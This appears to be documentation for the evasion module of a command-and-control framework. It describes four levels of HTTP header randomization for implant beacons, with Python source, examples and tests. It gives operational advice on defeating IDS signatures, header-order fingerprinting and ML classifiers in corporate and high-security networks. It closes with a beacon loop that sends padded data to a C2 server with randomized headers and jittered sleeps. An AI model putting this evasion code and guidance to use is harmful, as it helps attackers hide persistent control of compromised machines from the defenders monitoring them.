Skip to main content

Documentation Index

Fetch the complete documentation index at: https://mintlify.com/Menelaus29/c2-framework/llms.txt

Use this file to discover all available pages before exploring further.

Overview

HTTP header randomization implements polymorphic headers across four escalating levels, from fixed static headers to full randomization with shuffled ordering. This defeats signature-based detection systems that fingerprint C2 traffic by analyzing User-Agent strings and header combinations.

Why Header Randomization Matters

Security tools often flag C2 beacons by detecting static header signatures:
POST /api/beacon HTTP/1.1
Host: c2server.com
Content-Type: application/octet-stream
User-Agent: Python-urllib/3.11

⚠️ Python User-Agent from Windows host = suspicious
Headers are randomized per request. Each beacon call generates new randomized headers based on the configured level.

Randomization Levels

The framework provides four levels of header randomization:

Level 0: Static (Baseline)

Behavior: Fixed Chrome User-Agent, no randomization
# Source: evasion/header_randomizer.py:37-41
if level == 0:
    ua       = _CHROME_UA        # Fixed Chrome 122
    language = _DEFAULT_LANG     # Fixed en-US
    encoding = ACCEPT_ENCODINGS[0]  # Fixed gzip, deflate, br
    optional = _build_optional(ua, language, encoding)
Resulting Headers:
Host: c2server.com
Content-Type: application/octet-stream
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Level 0 provides no evasion. Every request uses identical headers, creating a detectable fingerprint. Use only for testing.

Level 1: User-Agent Rotation

Behavior: Randomize User-Agent only, other headers fixed
# Source: evasion/header_randomizer.py:43-47
elif level == 1:
    ua       = random.choice(USER_AGENTS)  # Rotated
    language = _DEFAULT_LANG               # Fixed en-US
    encoding = ACCEPT_ENCODINGS[0]         # Fixed gzip, deflate, br
    optional = _build_optional(ua, language, encoding)
Available User-Agents (source: header_randomizer.py:5-10):
USER_AGENTS = [
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/122.0.0.0 ...',
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) ... Firefox/123.0',
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Edg/121.0.0.0',
    'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) ... Safari/605.1.15',
]
Example Rotation:
Request 1: User-Agent: Mozilla/5.0 ... Chrome/122.0.0.0
Request 2: User-Agent: Mozilla/5.0 ... Firefox/123.0
Request 3: User-Agent: Mozilla/5.0 ... Edg/121.0.0.0
Request 4: User-Agent: Mozilla/5.0 ... Safari/605.1.15
Level 1 provides basic evasion against simple User-Agent fingerprinting while maintaining consistent other headers.

Level 2: User-Agent + Accept-Language

Behavior: Randomize UA and Accept-Language, encoding fixed
# Source: evasion/header_randomizer.py:49-53
elif level == 2:
    ua       = random.choice(USER_AGENTS)       # Rotated
    language = random.choice(ACCEPT_LANGUAGES)  # Rotated
    encoding = ACCEPT_ENCODINGS[0]              # Fixed gzip, deflate, br
    optional = _build_optional(ua, language, encoding)
Available Languages (source: header_randomizer.py:12-20):
ACCEPT_LANGUAGES = [
    'en-US,en;q=0.9',   # US English
    'en-GB,en;q=0.9',   # British English
    'fr-FR,fr;q=0.9,en;q=0.8',  # French
    'de-DE,de;q=0.9,en;q=0.8',  # German
    'ja-JP,ja;q=0.9,en;q=0.8',  # Japanese
    'zh-CN,zh;q=0.9,en;q=0.8',  # Chinese
    'pt-BR,pt;q=0.9,en;q=0.8',  # Brazilian Portuguese
]
Example Combinations:
Request 1:
  User-Agent: Mozilla/5.0 ... Chrome/122.0.0.0
  Accept-Language: en-US,en;q=0.9

Request 2:
  User-Agent: Mozilla/5.0 ... Firefox/123.0
  Accept-Language: ja-JP,ja;q=0.9,en;q=0.8

Request 3:
  User-Agent: Mozilla/5.0 ... Safari/605.1.15
  Accept-Language: de-DE,de;q=0.9,en;q=0.8

Level 3: Full Randomization + Shuffling

Behavior: Randomize all header values AND shuffle optional header order
# Source: evasion/header_randomizer.py:55-61
else:
    # Level 3 — randomise UA, language, encoding, and shuffle optional header order
    ua       = random.choice(USER_AGENTS)
    language = random.choice(ACCEPT_LANGUAGES)
    encoding = random.choice(ACCEPT_ENCODINGS)
    optional = _build_optional(ua, language, encoding)
    random.shuffle(optional)  # Shuffle order!
Available Encodings (source: header_randomizer.py:22-26):
ACCEPT_ENCODINGS = [
    'gzip, deflate, br',  # Modern browsers
    'gzip, deflate',      # Older browsers
    'br, gzip',           # Alternate preference
]
Example with Shuffling:
Request 1 (order A):
  Host: c2server.com
  Content-Type: application/octet-stream
  User-Agent: Mozilla/5.0 ... Firefox/123.0
  Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  Accept-Encoding: gzip, deflate
  Accept: */*
  Connection: keep-alive

Request 2 (order B - shuffled):
  Host: c2server.com
  Content-Type: application/octet-stream
  Connection: keep-alive
  Accept: */*
  User-Agent: Mozilla/5.0 ... Safari/605.1.15
  Accept-Encoding: br, gzip
  Accept-Language: fr-FR,fr;q=0.9,en;q=0.8
Level 3 provides maximum polymorphism. Both header values AND ordering change per request, defeating advanced fingerprinting that analyzes header sequence.

Header Structure

Fixed Headers

These headers are never randomized or shuffled:
# Source: evasion/header_randomizer.py:64-76
host = config.SERVER_HOST
port = config.SERVER_PORT

# Include port if non-standard
if port not in (80, 443):
    host = f"{host}:{port}"

headers = {
    'Host':         host,         # Always first
    'Content-Type': 'application/octet-stream',  # Always second
}
headers.update(dict(optional))
return headers
Why Fixed?
  • Host: Required for HTTP/1.1, indicates target server
  • Content-Type: Identifies beacon payload format

Optional Headers

These headers are randomized and shuffled (Level 3):
# Source: evasion/header_randomizer.py:79-87
def _build_optional(ua: str, language: str, encoding: str) -> list[tuple[str, str]]:
    return [
        ('User-Agent',       ua),
        ('Accept-Language',  language),
        ('Accept-Encoding',  encoding),
        ('Accept',           '*/*'),
        ('Connection',       'keep-alive'),
    ]
Optional headers are returned as an ordered list of tuples to allow shuffling. Fixed headers are added afterward to preserve their position.

Level Comparison Table

FeatureLevel 0Level 1Level 2Level 3
User-AgentFixed ChromeRotated (4 options)Rotated (4 options)Rotated (4 options)
Accept-LanguageFixed en-USFixed en-USRotated (7 options)Rotated (7 options)
Accept-EncodingFixed gzipFixed gzipFixed gzipRotated (3 options)
Header OrderFixedFixedFixedShuffled
Total Combinations1428252
Detection Risk⚠️ High⚠️ Medium⚠️ Low-Medium✓ Low
Total Combinations = (User-Agents) × (Languages) × (Encodings) × (Orderings)Level 3: 4 × 7 × 3 × 3 = 252 unique header combinations

Implementation Details

Host Header Construction

Non-standard ports are included in the Host header:
host = config.SERVER_HOST  # e.g., "c2server.com"
port = config.SERVER_PORT  # e.g., 8443

if port not in (80, 443):
    host = f"{host}:{port}"  # "c2server.com:8443"
Examples:
HTTPS on 443 → Host: c2server.com
HTTP on 80   → Host: c2server.com
HTTPS on 8443 → Host: c2server.com:8443
HTTP on 8080  → Host: c2server.com:8080

Error Handling

# Source: evasion/header_randomizer.py:32-35
def get_headers(level: int) -> dict:
    if level not in (0, 1, 2, 3):
        raise ValueError(f'invalid header randomisation level: {level}')
Invalid levels are rejected with a clear error message.

Usage Examples

from evasion.header_randomizer import get_headers

# Get headers for level 2
headers = get_headers(level=2)

print(headers)
# {
#   'Host': 'c2server.com',
#   'Content-Type': 'application/octet-stream',
#   'User-Agent': 'Mozilla/5.0 ... Firefox/123.0',
#   'Accept-Language': 'ja-JP,ja;q=0.9,en;q=0.8',
#   'Accept-Encoding': 'gzip, deflate, br',
#   'Accept': '*/*',
#   'Connection': 'keep-alive'
# }

Browser User-Agent Details

The framework includes realistic browser signatures:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/122.0.0.0 Safari/537.36
Profile: Windows 10, 64-bit, Chromium-based
All User-Agents represent current browser versions (as of framework release). Update USER_AGENTS list periodically to maintain realistic signatures.

Testing Header Randomization

Rotation Verification

# Verify User-Agents rotate at level 1
uas_seen = set()
for _ in range(50):
    headers = get_headers(1)
    uas_seen.add(headers['User-Agent'])

print(f"Unique User-Agents: {len(uas_seen)}")
assert len(uas_seen) > 1, "Level 1 should rotate UA"

# Verify languages stay fixed at level 1
langs = [get_headers(1)['Accept-Language'] for _ in range(20)]
assert len(set(langs)) == 1, "Level 1 should have fixed language"

Order Shuffling Verification

# Verify Level 3 produces different header orders
orders_seen = set()
for _ in range(50):
    headers = get_headers(3)
    
    # Extract order of optional headers (skip Host and Content-Type)
    keys = list(headers.keys())
    optional_order = tuple(keys[2:])
    
    orders_seen.add(optional_order)

print(f"Unique orderings: {len(orders_seen)}")
assert len(orders_seen) > 1, "Level 3 should shuffle header order"

Fixed Header Position

# Verify Host and Content-Type always come first
for level in range(4):
    for _ in range(10):
        headers = get_headers(level)
        keys = list(headers.keys())
        
        assert keys[0] == 'Host', "Host must be first"
        assert keys[1] == 'Content-Type', "Content-Type must be second"

Operational Recommendations

Corporate Networks

Use Level 2 for realistic browser diversity without excessive varianceMimics multi-user environment naturally

High-Security Environments

Use Level 3 for maximum polymorphismDefeats advanced header fingerprinting and ML classifiers

Long-Running Operations

Level 3 prevents statistical correlationVaried headers across thousands of beacons avoid pattern detection

Bandwidth-Constrained

Header randomization has minimal overheadHeaders add ~200-400 bytes regardless of level
User-Agent Consistency: Some applications track User-Agent per session. If your target environment expects consistent UAs, use Level 0 or implement session-based UA pinning.

Detection Avoidance

Header randomization defeats multiple detection methods:

1. User-Agent Fingerprinting

Threat: Static “Python-requests” or non-browser UA flagged Mitigation: Rotate realistic browser User-Agents (Level 1+)

2. Header Combination Signatures

Threat: IDS rules detect specific header combinations Mitigation: Randomize multiple header values (Level 2+)

3. Header Order Fingerprinting

Threat: Advanced systems fingerprint header sequence Mitigation: Shuffle optional header order (Level 3)

4. Behavioral Analysis

Threat: ML models detect non-human header consistency Mitigation: Per-request randomization mimics diverse user base

Combining with Other Evasion

Header randomization is most effective when combined with:
from transport.traffic_profile import load_active_profile
from evasion.header_randomizer import get_headers
from evasion.padding_strat import pad
from evasion.sleep_strat import get_sleep_fn
import time

profile = load_active_profile()
sleep_fn = get_sleep_fn(profile.jitter_strategy)

while True:
    # 1. Randomize headers
    headers = get_headers(profile.header_level)
    
    # 2. Pad payload
    padded_payload = pad(beacon_data, profile.padding_min, profile.padding_max)
    
    # 3. Send with randomized headers
    send_beacon(padded_payload, headers)
    
    # 4. Sleep with jitter
    sleep_duration = sleep_fn(BEACON_INTERVAL_S, profile.jitter_pct)
    time.sleep(sleep_duration)

Traffic Profiles

Configure header level in profile YAML

Jitter Strategies

Combine with timing randomization

Evasion Overview

Complete evasion architecture